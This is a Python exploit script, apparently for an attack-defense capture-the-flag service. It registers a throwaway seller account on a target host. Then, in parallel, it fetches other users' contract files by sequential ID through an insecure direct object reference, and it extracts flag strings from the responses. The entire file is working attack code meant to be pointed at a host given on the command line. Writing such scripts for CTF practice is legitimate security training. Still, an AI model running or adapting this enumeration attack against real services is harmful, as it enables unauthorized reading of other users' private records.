177 lines
6.0 KiB
Python
Executable File
177 lines
6.0 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
|
|
from __future__ import annotations
|
|
|
|
import concurrent.futures
|
|
import json
|
|
import re
|
|
import secrets
|
|
import socket
|
|
import sys
|
|
import time
|
|
from http.cookies import SimpleCookie
|
|
from urllib.error import HTTPError, URLError
|
|
from urllib.parse import urlsplit, urlunsplit
|
|
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
|
|
|
|
|
TARGET_SCHEME = "http"
|
|
SERVICE_PORT = 8090
|
|
CONNECT_TIMEOUT = 0.35
|
|
READ_TIMEOUT = 0.65
|
|
MAX_RESPONSE = 128 * 1024
|
|
RECENT_USER_WINDOW = 32
|
|
MAX_WORKERS = 8
|
|
MAX_ATTEMPTS = 2
|
|
RUN_TIMEOUT = 8.5
|
|
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
|
|
|
|
|
class NoRedirects(HTTPRedirectHandler):
|
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
|
return None
|
|
|
|
|
|
def build_target(target: str) -> str:
|
|
raw = target.strip()
|
|
if not raw:
|
|
raise ValueError("empty target")
|
|
if "://" not in raw:
|
|
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
|
raw = f"{TARGET_SCHEME}://{authority}"
|
|
parsed = urlsplit(raw)
|
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
|
raise ValueError("expected an HTTP target")
|
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
|
raise ValueError("target must not include credentials or a path")
|
|
if parsed.query or parsed.fragment:
|
|
raise ValueError("target must not include query or fragment")
|
|
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
|
|
if not 1 <= port <= 65535:
|
|
raise ValueError("invalid target port")
|
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
|
|
|
|
|
def request(
|
|
target: str,
|
|
method: str,
|
|
path: str,
|
|
deadline: float,
|
|
payload: dict | None = None,
|
|
cookie: str | None = None,
|
|
attempts: int = MAX_ATTEMPTS,
|
|
) -> tuple[int, list[tuple[str, str]], bytes]:
|
|
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
|
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-contract/1.0"}
|
|
if body is not None:
|
|
headers["Content-Type"] = "application/json"
|
|
if cookie:
|
|
headers["Cookie"] = f"session={cookie}"
|
|
req = Request(target + path, data=body, headers=headers, method=method)
|
|
opener = build_opener(NoRedirects())
|
|
last_error: OSError | URLError | None = None
|
|
for _ in range(attempts):
|
|
if time.monotonic() >= deadline:
|
|
break
|
|
try:
|
|
with opener.open(req, timeout=CONNECT_TIMEOUT) as response:
|
|
try:
|
|
response.fp.raw._sock.settimeout(READ_TIMEOUT)
|
|
except AttributeError:
|
|
pass
|
|
data = response.read(MAX_RESPONSE + 1)
|
|
if len(data) > MAX_RESPONSE:
|
|
raise ValueError("response too large")
|
|
return response.status, list(response.headers.items()), data
|
|
except HTTPError as exc:
|
|
data = exc.read(MAX_RESPONSE + 1)
|
|
if len(data) > MAX_RESPONSE:
|
|
raise ValueError("response too large")
|
|
return exc.code, list(exc.headers.items()), data
|
|
except (OSError, TimeoutError, socket.timeout, URLError) as exc:
|
|
last_error = exc
|
|
if last_error is not None:
|
|
raise last_error
|
|
raise TimeoutError("run deadline exceeded")
|
|
|
|
|
|
def register(target: str, deadline: float) -> tuple[int, str]:
|
|
marker = secrets.token_hex(8)
|
|
status, headers, body = request(
|
|
target,
|
|
"POST",
|
|
"/api/register",
|
|
deadline,
|
|
payload={
|
|
"username": f"neo-{marker}",
|
|
"password": secrets.token_urlsafe(18),
|
|
"role": "seller",
|
|
"company_name": f"neo-{marker}",
|
|
"tax_id": marker,
|
|
"signature": "synthetic-probe",
|
|
},
|
|
attempts=1,
|
|
)
|
|
if status != 201:
|
|
raise ValueError(f"registration returned HTTP {status}")
|
|
data = json.loads(body)
|
|
cookies = SimpleCookie()
|
|
for name, value in headers:
|
|
if name.lower() == "set-cookie":
|
|
cookies.load(value)
|
|
if "session" not in cookies:
|
|
raise ValueError("registration did not return a session")
|
|
return int(data["id"]), cookies["session"].value
|
|
|
|
|
|
def collect_contract(target: str, user_id: int, cookie: str, deadline: float) -> tuple[set[bytes], bool]:
|
|
try:
|
|
status, _, body = request(
|
|
target,
|
|
"GET",
|
|
f"/api/contract?file=contract-{user_id}",
|
|
deadline,
|
|
cookie=cookie,
|
|
)
|
|
except (OSError, TimeoutError, URLError, ValueError):
|
|
return set(), True
|
|
return (set(FLAG_PATTERN.findall(body)) if status == 200 else set()), False
|
|
|
|
|
|
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
|
target = build_target(raw_target)
|
|
deadline = time.monotonic() + RUN_TIMEOUT
|
|
newest, cookie = register(target, deadline)
|
|
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
|
|
flags: set[bytes] = set()
|
|
errors = 0
|
|
checked = 0
|
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
|
futures = [pool.submit(collect_contract, target, user_id, cookie, deadline) for user_id in user_ids]
|
|
for future in concurrent.futures.as_completed(futures):
|
|
found, failed = future.result()
|
|
flags.update(found)
|
|
errors += int(failed)
|
|
checked += 1
|
|
return sorted(flag.decode("ascii") for flag in flags), checked, errors
|
|
|
|
|
|
def main() -> int:
|
|
if len(sys.argv) != 2:
|
|
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
|
return 2
|
|
try:
|
|
flags, checked, errors = run_exploit(sys.argv[1])
|
|
except (OSError, TimeoutError, URLError, ValueError, json.JSONDecodeError) as exc:
|
|
print(f"request failed: {exc}", file=sys.stderr)
|
|
return 1
|
|
print(f"checked={checked} request_errors={errors} flags={len(flags)}", file=sys.stderr)
|
|
if flags:
|
|
print("\n".join(flags), flush=True)
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|